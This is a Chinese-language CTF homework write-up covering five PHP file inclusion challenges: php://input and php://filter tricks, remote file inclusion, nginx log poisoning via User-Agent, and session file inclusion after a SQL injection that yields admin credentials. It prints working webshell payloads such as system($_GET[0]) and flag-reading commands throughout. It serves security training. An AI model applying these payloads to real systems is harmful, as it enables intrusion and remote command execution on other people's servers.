作业1:
文件包含漏洞php://伪协议
经典代码

看了下phpinfo信息
allow_url_fopen=On && allow_url_include=On
允许无文件落地getshell

使用php://伪协议的input方法,需要POST请求,但是file参数接收仍需GET传参
POST传参请求体直接窃取flag
<?=system('cat /f*');

作业2:
伪协议
点击连接抓包
?file=show.php
屏幕出现三个tips。。。
传参?file=/etc/passwd,正常回显,而flag会被拦截

使用php://filter不会被拦截,base64读取tips.php文件
?file=php://filter/convert.base64-encode/resource=tips.php

解码后内容源码分析,直接eval输出

最终
echo`cat /*`;
echo`cat /f*`;

作业3:
远程文件包含
echo '<?php phpinfo();system($_GET[0]);?>'>1.txt
python3 -m http.server 6666

查找flag

获取flag

作业4:
日志文件包含
访问网站,获取Cookie值

对Cookie值进行base64解密,发现疑似被反序列化,根据题意,将路径改成中间件日志文件:/var/log/nginx/access.log


发现可以User-agent写入

构造webshell
User-agent: <?php system($_GET[0]);?>

尝试getshell,传参?0=ls /,发现flag,名为flag_sHkqD


获取flag,传参?0=cat /fla*

作业5:
session文件包含
访问首页,访问了后台登录发现需要密码,测试了下登录框没有SQL注入漏洞,首页的点击了数字,抓包发现有个id参数,尝试sql注入,发现存在SQL注入,数字型
获取数据库名

获取表名

获取字段名

获取账户密码,得到了admin/wuhaijiayou

登录后台,发现功能点有个查看文件功能

包含自己的session文件,默认路径为/var/lib/php5/sess_PHPSESSID的值,可以看见响应头的最后有个斜杠/,尝试getshell

写入webshell,记得URL编码
<?php system($_GET[0]);?>
传参?0=ls /

这道题似乎没放flag

个人评价:
这几道题都是很经典的文件包含落地题,文件包含严重可getshell,还可以无文件落地getshell,红队的最爱之一